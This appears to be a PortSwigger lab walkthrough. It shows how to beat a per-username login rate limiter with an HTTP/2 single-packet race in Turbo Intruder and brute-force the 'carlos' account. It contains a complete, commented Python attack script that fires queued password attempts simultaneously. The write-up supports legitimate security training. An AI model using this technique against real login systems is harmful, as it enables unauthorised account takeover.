[Exploit a race condition](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits) in the login rate-limiter to brute-force `carlos` despite a “3 failed attempts → temporary lock” control. Use Burp Suite ≥ **2023.9** and the latest **Turbo Intruder**. --- Most per-username rate limiters increment a **server-side counter after the password check**. In a tight time window, multiple concurrent attempts can enter the check before the counter increments or the lock flag propagates. Using **HTTP/2 multiplexing** and Turbo Intruder’s **single-packet gate**, you can land >3 attempts “at once” and win the race. --- ## Recon: prove per-username limiter + identify race window 1. **Baseline failure** Send an invalid password for your account (`wiener:peter`) until you hit lockout after 3 bad attempts. Observe response: *“Account temporarily locked”* (or equivalent). 2. **Scope of limiter** Try bad logins for a **different** username. You still get *“Invalid username or password”* (not “locked”), confirming the control is **per-username**, not per-IP/session. 3. **Sequential vs parallel** * In **Repeater**, group a failed `POST /login` tab → **Send in sequence** (new connections). Expect lock at 3. * **Send in parallel** (new connections). You’ll often see >3 responses return *“Invalid username or password”* before *“locked”*. That delta is your **race window**. **Indicators of a viable race** * Some requests succeed past attempt #3 before the first lock response appears. * Timing jitter is small (low RTT, stable path). If not, reset the lab and try again (new instance can be less noisy). --- ## Exploit plan * Switch target username to **`carlos`**. * Fire all candidate passwords **simultaneously** using Turbo Intruder’s HTTP/2 **single-packet** template. * Watch for **HTTP 302** (successful login). --- ## Execution (Turbo Intruder) 1. In **Proxy → HTTP history**, pick a failed `POST /login`. 2. Send to **Repeater** → set body to the usual JSON (or form) with **`username=carlos`** and placeholder password. 3. **Right-click** → **Extensions → Turbo Intruder → Send to Turbo Intruder**. 4. In Turbo Intruder, choose the template **`examples/race-single-packet-attack.py`**. 5. Copy your provided **password list** to clipboard. The script will read it via `wordlists.clipboard`. 6. Replace the script with the PoC below (commented, minimal, correct). 7. **Attack**. Sort results by **Status** and **Payload**. A **302** marks the winning password. ### Turbo Intruder PoC (fully commented) ```python # Turbo Intruder script: single-connection, HTTP/2, single-packet gate. # Goal: land many login attempts for the same username "carlos" before the rate limiter increments/locks. # Requirements: Burp Suite 2023.9+, Turbo Intruder latest from BApp Store. Target must support HTTP/2. def queueRequests(target, wordlists): # Use the BURP2 engine (HTTP/2). One TCP/TLS connection. # Multiplex all requests on a single stream bundle to coalesce into minimal packets. engine = RequestEngine( endpoint=target.endpoint, # derives scheme/host/port from the request editor tab concurrentConnections=1, # one connection enables intra-packet HEADERS coalescing engine=Engine.BURP2 # HTTP/2, required for the single-packet race trick ) # The password list is read from your clipboard so you can paste the lab's provided candidates directly. passwords = wordlists.clipboard # Gate "1" holds back the final send so we release every attempt at the same instant. # Turbo Intruder will queue each request with its own payload (%s → password). for pw in passwords: # IMPORTANT: # - Ensure your base request in the editor has username=carlos and password=%s marked as the payload position. # - The 'gate' parameter defers flushing frames until openGate('1'). engine.queue(target.req, pw, gate='1') # Fire all queued requests simultaneously. engine.openGate('1') # Optional: allow a small trailing burst (helps if the target batches frames). # for pw in passwords[:3]: # engine.queue(target.req, pw) def handleResponse(req, interesting): # Record every response row for analysis in the Turbo Intruder table (status, length, RTT, payload). table.add(req) # PRO TIP: You can filter on req.status == 302 to auto-flag winners: # if req.status == 302: # print('WIN:', req.payload) ``` **Expected win signal** * **`302`** with `Location: /my-account` (or similar). * Note the **Payload** column value — that’s Carlos’s password. ![[CleanShot 2025-08-18 at [email protected]]] **If no 302:** * Wait for lock to reset (watch response flip back to *Invalid username or password*). * Trim obviously wrong candidates from the list and re-run. * Keep the connection count at **1**; switching to many connections often **reduces** win rate because the server increments/locks between TCP handshakes. --- ## Finish the objective 1. Log in as **`carlos`** with the winning password. 2. Visit **/admin** (or UI path to Admin). 3. Delete user **`carlos`** per lab objective.